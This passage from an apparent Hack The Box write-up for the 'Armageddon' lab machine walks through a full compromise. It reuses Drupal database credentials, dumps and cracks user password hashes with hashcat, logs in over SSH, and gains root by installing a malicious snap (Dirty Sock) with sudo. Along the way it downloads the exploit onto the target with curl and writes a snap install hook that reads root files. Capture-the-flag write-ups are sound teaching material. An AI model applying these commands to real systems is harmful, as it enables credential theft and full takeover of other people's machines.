root       970  0.0  0.3 450272 15500 ?        Ss   12:00   0:00 /usr/sbin/httpd -DFOREGROUND

Password Reuse

I tried to switch user with the found password:

armageddon.htb>> su brucetherealadmin
Password: su: System error

Just like with mysql, it errored immediately without letting me input a password.

The source of this password is the sites/default/settings.php file, which defines the following array:

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

Trying to login to mysql with the drupaluser username also immediately fails. I also tried returning to the website at this point and logging in with the password as the drupaluser and brucetherealadmin users, but no luck.

I found some syntax for supplying the password and command on one line, and it worked!

armageddon.htb>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'SHOW DATABASES;'
Database
information_schema
drupal
mysql
performance_schema

We can now try and extract some sensitive data (thank god):

armageddon.htb>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'SELECT * FROM users;'
uid	name	pass	mail	theme	signature	signature_format	created	access	login	status	timezone	language	picture	init	data
0						NULL	0	0	0	0	NULL		0		NULL
1	brucetherealadmin	$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt	admin@armageddon.eu			filtered_html	1606998756	1617448243	1617448287	1	Europe/London		0	admin@armageddon.eu	a:1:{s:7:"overlay";i:1;}
3	in7rud3r	$S$DItEwh5TIQW8orD5jrnuU3TJK..ZS2329Q964.okkfbrxymH1nYV	in7rud3r@in7rud3r.com			filtered_html	1617452134	0	0	0	Europe/London		0in7rud3r@in7rud3r.com	NULL
4	in7rud3r_2	$S$DuQ.4iMXzTm.HO3h67gK1Z7r/LzNXKE1zlFcUGQraWDtBURgewrZ	in7rud3r@armageddon.htb			filtered_html	1617452253	0	0	0	Europe/London		0in7rud3r@armageddon.htb	NULL
5	admin	$S$DupmX8rD2AYWEeZB8gPIF4FZIpHnhgAWubZ18pQo3iHBfaITNSt1	asdasd@mail.de			filtered_html	1617454769	0	0	0	Europe/London		0	asdasd@mail.de	NULL
6	test	$S$Da9BDioc9v1pjaulZIP.GehGIviXmcfl0g7tyD96O33hJQbR9YBg	test@test.com			filtered_html	1617454828	0	0	0	Europe/London		0	test@test.com	NULL

Cracking the Password

We can see from hashcat’s example hashes that this is a drupal hash (mode 7900). So we can crack it in hashcat using the following command:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ hashcat -m 7900 -a 0 hash /usr/share/wordlists/rockyou.txt

After a while, this gives us booboo as the password:

$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Drupal7
Hash.Target......: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Time.Started.....: Sat Apr  3 14:55:24 2021 (8 secs)
Time.Estimated...: Sat Apr  3 14:55:32 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       46 H/s (10.53ms) @ Accel:32 Loops:1024 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 256/14344385 (0.00%)
Rejected.........: 0/256 (0.00%)
Restore.Point....: 224/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:31744-32768
Candidates.#1....: tiffany -> freedom

SSH as brucetherealadmin

As we know su was not working, I tried the following command to login as Bruce over SSH instead, supplying “booboo” as the password:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ ssh brucetherealadmin@10.10.10.233
The authenticity of host '10.10.10.233 (10.10.10.233)' can't be established.
ECDSA key fingerprint is SHA256:bC1R/FE5sI72ndY92lFyZQt4g1VJoSNKOeAkuuRr4Ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.233' (ECDSA) to the list of known hosts.
brucetherealadmin@10.10.10.233's password: 
Last login: Sat Apr  3 14:48:28 2021 from 10.10.14.151

Success!

Enumeration

Let’s take a look at their files. We can grab the user flag now as well:

[brucetherealadmin@armageddon ~]$ ls -la
total 20
drwx------. 3 brucetherealadmin brucetherealadmin  132 Apr  3 13:23 .
drwxr-xr-x. 4 root              root                49 Apr  3 12:02 ..
lrwxrwxrwx. 1 root              root                 9 Dec 11 19:06 .bash_history -> /dev/null
-rw-r--r--. 1 brucetherealadmin brucetherealadmin   18 Apr  1  2020 .bash_logout
-rw-r--r--. 1 brucetherealadmin brucetherealadmin  193 Apr  1  2020 .bash_profile
-rw-r--r--. 1 brucetherealadmin brucetherealadmin  231 Apr  1  2020 .bashrc
-rw-rw-r--. 1 brucetherealadmin brucetherealadmin 4096 Apr  3 12:01 dedsec.snap
drwx------. 2 brucetherealadmin brucetherealadmin   60 Apr  3 14:39 .gnupg
-r--------. 1 brucetherealadmin brucetherealadmin   33 Apr  3 12:01 user.txt

dedsec.snap is interesting. Running sudo -l shows snap can be run as root:

[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
    LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE
    LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

Googling “snap install exploit” reveals a number of exploits… including Dirty Sock!

Dirty Sock Exploit

I first read an excellent article explaining the exploit, and a writeup of running dirty sock - it contains much the same info as the first article, but with a demo of running the script itself.

This is the git repository for Dirty Sock.

I wasn’t sure this would work out of the box, as I had a feeling we’d need to do some manual exploitation with the install command - but let’s give it a go.

We’ll download the script from git, move it to a www directory, and download it to the box.

┌──(mac㉿kali)-[/opt]
└─$ sudo git clone https://github.com/initstring/dirty_sock.git
Cloning into 'dirty_sock'...

┌──(mac㉿kali)-[/opt/dirty_sock]
└─$ cp dirty_sockv2.py ~/Documents/HTB/armageddon/
┌──(mac㉿kali)-[/opt/dirty_sock]
└─$ cd ~/Documents/HTB/armageddon/
┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ mkdir www
┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ mv dirty_sockv2.py www/ && cd www/
┌──(mac㉿kali)-[~/Documents/HTB/armageddon/www]
└─$ sudo python3 -m http.server 80
[sudo] password for mac: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.233 - - [03/Apr/2021 16:04:22] "GET /dirty_sockv2.py HTTP/1.1" 200 -

On the box:

[brucetherealadmin@armageddon ~]$ curl 10.10.14.53:80/dirty_sockv2.py > /tmp/sock.py

[brucetherealadmin@armageddon tmp]$ python3 sock.py 

      ___  _ ____ ___ _   _     ____ ____ ____ _  _ 
      |  \ | |__/  |   \_/      [__  |  | |    |_/  
      |__/ | |  \  |    |   ___ ___] |__| |___ | \_ 
                       (version 2)

//=========[]==========================================\\
|| R&D     || initstring (@init_string)                ||
|| Source  || https://github.com/initstring/dirty_sock ||
|| Details || https://initblog.com/2019/dirty-sock     ||
\\=========[]==========================================//


[+] Slipped dirty sock on random socket file: /tmp/escgoauyif;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[!] System may not be vulnerable, here is the API reply:


HTTP/1.1 401 Unauthorized
Content-Type: application/json
Date: Sat, 03 Apr 2021 15:19:42 GMT
Content-Length: 119

{"type":"error","status-code":401,"status":"Unauthorized","result":{"message":"access denied","kind":"login-required"}}

Interesting. True enough, the snap version is not vulnerable:

[brucetherealadmin@armageddon tmp]$ snap version
snap    2.47.1-1.el7
snapd   2.47.1-1.el7

We were right that we have to do some manual stuff. Let’s recreate the exploit, using @init_string’s example of an empty snap script with an install hook.

Customising the Exploit

I think the path here will be to instead run snap install with root privileges, and hope that this runs the install hook.

This didn’t work for me, due to hardware issues - however, I’m pretty sure my steps were correct. Nevertheless, if you don’t want to read a failed attempt you can skip to the final exploit.

I don’t want to create a user that anyone can log in as, so I’ll try to rewrite the exploit to just read the root flag.

## Install necessary tools
sudo apt install snapcraft -y

## Make an empty directory to work with
cd /tmp
mkdir dirty_snap
cd dirty_snap

## Initialize the directory as a snap project
snapcraft init

## Set up the install hook
mkdir snap/hooks
touch snap/hooks/install
chmod a+x snap/hooks/install

## Write the script we want to execute as root
cat > snap/hooks/install << "EOF"
#!/bin/bash

cat /root/root.txt > /tmp/gottem
EOF

## Configure the snap yaml file
cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1'
summary: Empty snap, used for exploit
description: |
    See https://github.com/initstring/dirty_sock

grade: devel
confinement: devmode

parts:
  my-part:
    plugin: nil
EOF

## Build the snap
snapcraft

It seems snapcraft is not a valid apt package on Kali, so I used the snap installation guide and snapcraft installation guide to install instead:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ sudo apt install snapd
┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ systemctl enable --now snapd apparmor
┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ sudo snap install snapcraft --classic

Then we need to add /snap/bin to path, editing ~/.bashrc:

nano ~/.bashrc

...[bashrc file]...
export PATH="/snap/bin:$PATH"
...[bashrc file]...


source ~/.bashrc

Then initialise snapcraft:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ snapcraft init
Created snap/snapcraft.yaml.

Now we can edit the script’s install instructions, commenting them out for now.

My first attempt at running the build script failed, as I had not set a base for snap:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ ./build-snap.sh 
mkdir: cannot create directory ‘dirty_snap’: File exists
Created snap/snapcraft.yaml.
Go to https://docs.snapcraft.io/the-snapcraft-format/8337 for more information about the snapcraft.yaml format.
This snapcraft project does not specify the base keyword, explicitly setting the base keyword enables the latest snapcraft features.
This project is best built on 'Ubuntu 16.04', but is building on a 'Kali GNU/Linux 2021.1' host.
Read more about bases at https://docs.snapcraft.io/t/base-snaps/11198
Sorry, an error occurred in Snapcraft:
Native builds aren't supported on Kali GNU/Linux. You can however use 'snapcraft cleanbuild' with a container.

After reading a couple of similar issues, I added the base: core18 line to the script:

## Configure the snap yaml file
cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1' 
summary: Empty snap, used for exploit
description: |
    See https://github.com/initstring/dirty_sock
base: core18

After some fumbling around trying to get snapcraft to work on Kali, I found out that multipass, the default build method, creates a VM to build the snap within. For a nested VM, this requires acceleration. You can see from the output below that it fails to create the snap:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ ./build-snap.sh 
Created snap/snapcraft.yaml.
Go to https://docs.snapcraft.io/the-snapcraft-format/8337 for more information about the snapcraft.yaml format.
Launching a VM.
Build environment is in unknown state, cleaning first.
WARNING: cgroup v2 is not fully supported yet, proceeding with partial confinement
info failed: The following errors occurred:
instance "snapcraft-dirty-sock" does not exist
WARNING: cgroup v2 is not fully supported yet, proceeding with partial confinement
launch failed: CPU does not support KVM extensions.                             
An error occurred with the instance when trying to launch with 'multipass': returned exit code 2.
Ensure that 'multipass' is setup correctly and try again.

I didn’t have a Linux host machine, and didn’t want to install snap on my Windows host, so I left this for now. But I’d be interested to go back to it and check if it worked.

Repurposing the Dirty Sock Payload

As I couldn’t get this to work myself, I will resort to using the prewritten script. I may return to this and try and create the snap on my host machine using WSL, but for now I will use the premade payload in the dirty sock blog and just create the dirty_sock user.

We use a python script to print the blob used in the dirty_sock source code, and base64 encode this:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ python3 print-snap.py | base64 -d > dirty.snap

Then we copy this via ssh to the box:

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ scp dirty.snap brucetherealadmin@10.10.10.233:/tmp/dirty.snap

Now we login as bruce, and install our malicious snap (I used the --devmode flag just in case):

┌──(mac㉿kali)-[~/Documents/HTB/armageddon]
└─$ ssh brucetherealadmin@10.10.10.233
brucetherealadmin@10.10.10.233's password: 
Last login: Mon Apr  5 15:06:03 2021 from 10.10.14.56
[brucetherealadmin@armageddon ~]$ cd /tmp
[brucetherealadmin@armageddon tmp]$ sudo snap install --devmode dirty.snap 
dirty-sock 0.1 installed
[brucetherealadmin@armageddon tmp]$ su dirty_sock
Password: 
[dirty_sock@armageddon tmp]$ sudo cat /root/root.txt

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dirty_sock: 
d9...[snip]...a4b

That’s the box!

Now we can cleanup our snap:

[dirty_sock@armageddon tmp]$ sudo rm dirty.snap

I won’t delete the user or change the password, just in case it interferes with someone else’s exploit.

Automation

We can create a very simple bash script to partially automate the above:

#!/bin/bash
python3 print-snap.py | base64 -d > dirty.snap
scp dirty.snap brucetherealadmin@10.10.10.233:/tmp/dirty.snap
ssh brucetherealadmin@10.10.10.233

We then just need to supply Bruce’s password and run the dirty snap once we’re on the box with sudo snap install --devmode /tmp/dirty.snap.